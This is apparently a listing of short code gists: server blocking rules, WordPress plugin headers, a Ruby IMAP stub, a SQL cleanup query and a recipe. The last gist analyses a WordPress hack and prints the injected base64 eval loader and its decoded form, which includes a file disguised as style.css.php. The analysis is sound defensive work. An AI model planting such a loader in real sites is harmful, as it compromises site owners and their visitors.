boogah

if ($http_referer ~* "semalt\.com") {
    return 444;
}

boogah

Meat

3 pounds worth of pork loin, preferably two 1.5 pound pork loins.

Herb Rub

• 2 tablespoons brown sugar
• 1 teaspoon paprika
• 1 dash cayenne
• 1 tablespoon yellow mustard

boogah

Keybase proof

I hereby claim:

• I am boogah on github.
• I am boogah (https://keybase.io/boogah) on keybase.
• I have a public key whose fingerprint is 3104 36BE B7A7 9228 8F80 0527 9526 4467 7E8D 7ED1

To claim this, I am signing this object:

boogah

     . .. .                                                                           . s:2s2c526555c2c225c2;s:; .                                                                   . .... . .
     . .. . .                                                             ;.2s62YSPYZYPYZ6DZDPDPEDDDDEEHPPZPYPPPZPZPZPYP22::                                                       . . .... . .
     . .. .                                                         ssSSYYDZDPEDDPEDDDDDPZDPHHHHHENNNNDEDDNNEHPPDEDDDDDEDEEHDEY622.                                                . : .... . .
     . .. . .                                                 66EDHENNNHZPDPEDEEHEHHHHHNNNDDDDPPPPPPEDPPEEEEEHHHHHHHHENNHHHNHNHNNNNNEDZZs.                                           . .... . .
     . ..  .:                                            .25DPNDEDPZZZZZSZDDEDPDDDDDYZYY6S6S6S666562S6YYSSSSSSZYPZPYPZDPEHEDDDEEDDEHEHEHEHPY5s.                                      . :... . . .
     . .. . .                                       25EPEDDDE

boogah

<?php
/*
Plugin Name: Index.php fix
Plugin URI: http://ilikewordpress.com/loading-wordpress-from-index-php
Description: This plugin allows a blog installed at root to be addressed by /index.php. Remedies stripping of filename by includes/canonical.php
Author: Steve Johnson
Version: 1.0
Author URI: http://ilikewordpress.com/
*/

boogah

#!/usr/bin/ruby
require 'net/imap'

server = 'imap.mail.com'
username = 'YOUR USERNAME'
password = 'YOUR PASSWORD'
folder = 'INBOX'

imap = Net::IMAP.new(server, 993, true)
imap.login(user, password)

boogah

RewriteEngine on
RewriteCond %{HTTP:VIA} !^$ [OR]
RewriteCond %{HTTP:FORWARDED} !^$ [OR]
RewriteCond %{HTTP:USERAGENT_VIA} !^$ [OR]
RewriteCond %{HTTP:X_FORWARDED_FOR} !^$ [OR]
RewriteCond %{HTTP:PROXY_CONNECTION} !^$ [OR]
RewriteCond %{HTTP:XPROXY_CONNECTION} !^$ [OR]
RewriteCond %{HTTP:HTTP_PC_REMOTE_ADDR} !^$ [OR]
RewriteCond %{HTTP:HTTP_CLIENT_IP} !^$
RewriteRule ^(.*)$ - [F]

boogah

DELETE FROM  'wp_options' WHERE 'option_name' LIKE CONVERT( _utf8 '_transient_feed%' USING latin1 ) COLLATE latin1_swedish_ci;

boogah

<?php
/*
Plugin Name: Gravatar Hovercards
Plugin URI: http://ottopress.com/2010/gravatar-hovercards/
Description: Hover over a Gravatar to get more info. Neat-o!
Version: 0.1
Author: Otto
*/

function gravatar_hovercards_jquery() {

boogah

I've been seeing this code crop up a lot in recent WordPress hacks:

<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9ob21lL3VzZXIvZG9tYWluLmNvbS93cC1pbmNsdWRlcy9qcy90aW55bWNlL3RoZW1lcy9hZHZhbmNlZC9za2lucy93cF90aGVtZS9pbWcvc3R5bGUuY3NzLnBocCc7aWYoZmlsZV9leGlzdHMoJEdMT0JBTFNbJ21mc24nXSkpe2luY2x1ZGVfb25jZSgkR0xPQkFMU1snbWZzbiddKTtpZihmdW5jdGlvbl9leGlzdHMoJ2dtbCcpJiZmdW5jdGlvbl9leGlzdHMoJ2Rnb2JoJykpe29iX3N0YXJ0KCdkZ29iaCcpO319fQ==')); ?>

The issue normally involves "wp-login.php" returning a blank page for users trying to get into "wp-admin".

Running that bit of nastiness thru a base64 decoder gets us this:

if(function_exists('ob_start')&&!isset($GLOBALS['mfsn'])){$GLOBALS['mfsn']='/home/user/domain.com/wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/style.css.php';if(file_exists($GLOBALS['mfsn'])){include_once($GLOBALS['mfsn']);if(function_exists('gml')&&function_exists('dgobh')){ob_start('dgobh');}}}